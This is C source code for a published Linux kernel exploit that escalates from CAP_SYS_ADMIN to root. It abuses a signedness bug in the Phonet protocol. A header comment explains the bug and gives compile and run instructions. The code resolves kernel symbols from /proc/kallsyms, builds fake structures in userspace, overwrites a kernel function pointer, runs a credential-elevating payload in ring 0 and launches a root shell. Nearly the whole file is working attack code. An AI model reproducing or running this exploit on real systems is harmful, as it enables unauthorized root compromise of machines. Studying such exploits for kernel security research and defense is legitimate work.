/*
 * Linux Kernel CAP_SYS_ADMIN to root exploit
 * by Dan Rosenberg
 * @djrbliss on twitter
 *
 * Usage:
 * gcc -w caps-to-root.c -o caps-to-root
 * sudo setcap cap_sys_admin+ep caps-to-root
 * ./caps-to-root
 *
 * This exploit is NOT stable:
 *
 *  * It only works on 32-bit x86 machines
 *
 *  * It only works on >= 2.6.34 kernels (it could probably be ported back, but
 *    it involves winning a race condition)
 *
 *  * It requires symbol support for symbols that aren't included by default in
 *    several distributions
 *
 *  * It requires the Phonet protocol, which may not be compiled on some
 *    distributions
 *
 *  * You may experience problems on multi-CPU systems
 *
 * It has been tested on a stock Ubuntu 10.10 installation.  I wouldn't be
 * surprised if it doesn't work on other distributions.
 *
 * ----
 *
 * Lately there's been a lot of talk about how a large subset of Linux
 * capabilities are equivalent to root.  CAP_SYS_ADMIN is a catch-all
 * capability that, among other things, allows mounting filesystems and
 * injecting commands into an administrator's shell - in other words, it
 * trivially allows you to get root.  However, I found another way to get root
 * from CAP_SYS_ADMIN...the hard way.
 *
 * This exploit leverages a signedness error in the Phonet protocol.  By
 * specifying a negative protocol index, I can craft a series of fake
 * structures in userspace and cause the incrementing of an arbitrary kernel
 * address, which I then leverage to execute arbitrary kernel code.
 *
 * Greets to spender, cloud, jono, kees, pipacs, redpig, taviso, twiz, stealth,
 * and bla.
 *
 */

#include <stdio.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <linux/capability.h>
#include <sys/utsname.h>
#include <sys/mman.h>
#include <unistd.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int getroot(void)
{
  
  commit_creds(prepare_kernel_cred(0));
  return 0;  

}

int konami(void)
{

  /* Konami code! */
  asm("inc %edx;"    /* UP */
      "inc %edx;"    /* UP */
      "dec %edx;"    /* DOWN */
      "dec %edx;"    /* DOWN */
      "shl %edx;"    /* LEFT */
      "shr %edx;"    /* RIGHT */
      "shl %edx;"    /* LEFT */
      "shr %edx;"    /* RIGHT */
      "push %ebx;"  /* B */
      "pop %ebx;"
      "push %eax;"  /* A */
      "pop %eax;"
      "mov $getroot, %ebx;"
      "call *%ebx;");  /* START */

  return 0;
}

/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
  FILE *f;
  unsigned long addr;
  char dummy;
  char sname[512];
  struct utsname ver;
  int ret;
  int rep = 0;
  int oldstyle = 0;

  f = fopen("/proc/kallsyms", "r");
  if (f == NULL) {
    f = fopen("/proc/ksyms", "r");
    if (f == NULL)
      return 0;
    oldstyle = 1;
  }

  while(ret != EOF) {
    if (!oldstyle)
      ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
    else {
      ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
      if (ret == 2) {
        char *p;
        if (strstr(sname, "_O/") || strstr(sname, "_S."))
          continue;
        p = strrchr(sname, '_');
        if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
          p = p - 4;
          while (p > (char *)sname && *(p - 1) == '_')
            p--;
          *p = '\0';
        }
      }
    }
    if (ret == 0) {
      fscanf(f, "%s\n", sname);
      continue;
    }
    if (!strcmp(name, sname)) {
      fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
      fclose(f);
      return addr;
    }
  }

  fclose(f);
  return 0;
}

int main(int argc, char * argv[])
{

  int sock, proto, i, offset = -1;
  unsigned long proto_tab, landing, target, pn_ops, pn_ioctl, *ptr;
  void * map;
  
  /* Create a socket to load the module for symbol support */
  printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n");
  sock = socket(PF_PHONET, SOCK_DGRAM, 0);

  if(sock < 0) {
    if(errno == EPERM)
      printf("[*] You don't have CAP_SYS_ADMIN.\n");

    else
      printf("[*] Failed to open Phonet socket.\n");
    
    return -1;
  }

  /* Resolve kernel symbols */
  printf("[*] Resolving kernel symbols...\n");

  proto_tab = get_kernel_sym("proto_tab");
  pn_ops = get_kernel_sym("phonet_dgram_ops");
  pn_ioctl = get_kernel_sym("pn_socket_ioctl");
  commit_creds = get_kernel_sym("commit_creds");
  prepare_kernel_cred = get_kernel_sym("prepare_kernel_cred");

  if(!proto_tab || !commit_creds || !prepare_kernel_cred ||
     !pn_ops || !pn_ioctl) {
    printf("[*] Failed to resolve kernel symbols.\n");
    return -1;
  }

  /* Thanks bla, for reminding me how to do basic math */
  landing = 0x20000000;
  proto = 1 << 31 | (landing - proto_tab) >> 2;

  /* Map it */
  printf("[*] Preparing fake structures...\n");

  map = mmap((void *)landing, 0x10000,
       PROT_READ | PROT_WRITE | PROT_EXEC,
       MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
  
  if(map == MAP_FAILED) {
    printf("[*] Failed to map landing area.\n");
    return -1;
  }
  
  /* Pointer to phonet_protocol struct */
  ptr = (unsigned long *)landing;
  ptr[0] = &ptr[1];

  /* phonet_protocol struct */
  for(i = 1; i < 4; i++)
    ptr[i] = &ptr[4];

  /* proto struct */
  for(i = 4; i < 204; i++)
    ptr[i] = &ptr[204];

  /* First, do a test run to calculate any offsets */
  target = 0x30000000;

  /* module struct */
  for(i = 204; i < 404; i++)
    ptr[i] = target;
  
  /* Map it */
  map = mmap((void *)0x30000000, 0x2000000,
       PROT_READ | PROT_WRITE | PROT_EXEC,
       MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
  
  if(map == MAP_FAILED) {
    printf("[*] Failed to map landing area.\n");
    return -1;
  }

  printf("[*] Calculating offsets...\n");

  socket(PF_PHONET, SOCK_DGRAM, proto);
  
  ptr = 0x30000000;
  for(i = 0; i < 0x800000; i++) {
    if(ptr[i] != 0) {
      offset = i * sizeof(void *);
      break;
    }
  }

  if(offset == -1) {
    printf("[*] Test run failed.\n");
    return -1;
  }

  /* MSB of pn_ioctl */
  target = pn_ops + 10 * sizeof(void *) - 1 - offset;
  
  /* Re-fill the module struct */
  ptr = (unsigned long *)landing;
  for(i = 204; i < 404; i++)
    ptr[i] = target;
  
  /* Push pn_ioctl fptr into userspace */
  printf("[*] Modifying function pointer...\n");

  landing = pn_ioctl;  
  while((landing & 0xff000000) != 0x10000000) {
    socket(PF_PHONET, SOCK_DGRAM, proto);
    landing += 0x01000000;
  }

  /* Map it */
  map = mmap((void *)(landing & ~0xfff), 0x10000,
       PROT_READ | PROT_WRITE | PROT_EXEC,
       MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
  
  if(map == MAP_FAILED) {
    printf("[*] Failed to map payload area.\n");
    return -1;
  }

  /* Copy payload */
  memcpy((void *)landing, &konami, 1024);

  printf("[*] Executing Konami code at ring0...\n");
  ioctl(sock, 0, NULL);

  if(getuid()) {
    printf("[*] Exploit failed to get root.\n");
    return -1;
  }

  printf("[*] Konami code worked!  Have a root shell.\n");
  execl("/bin/sh", "/bin/sh", NULL);

}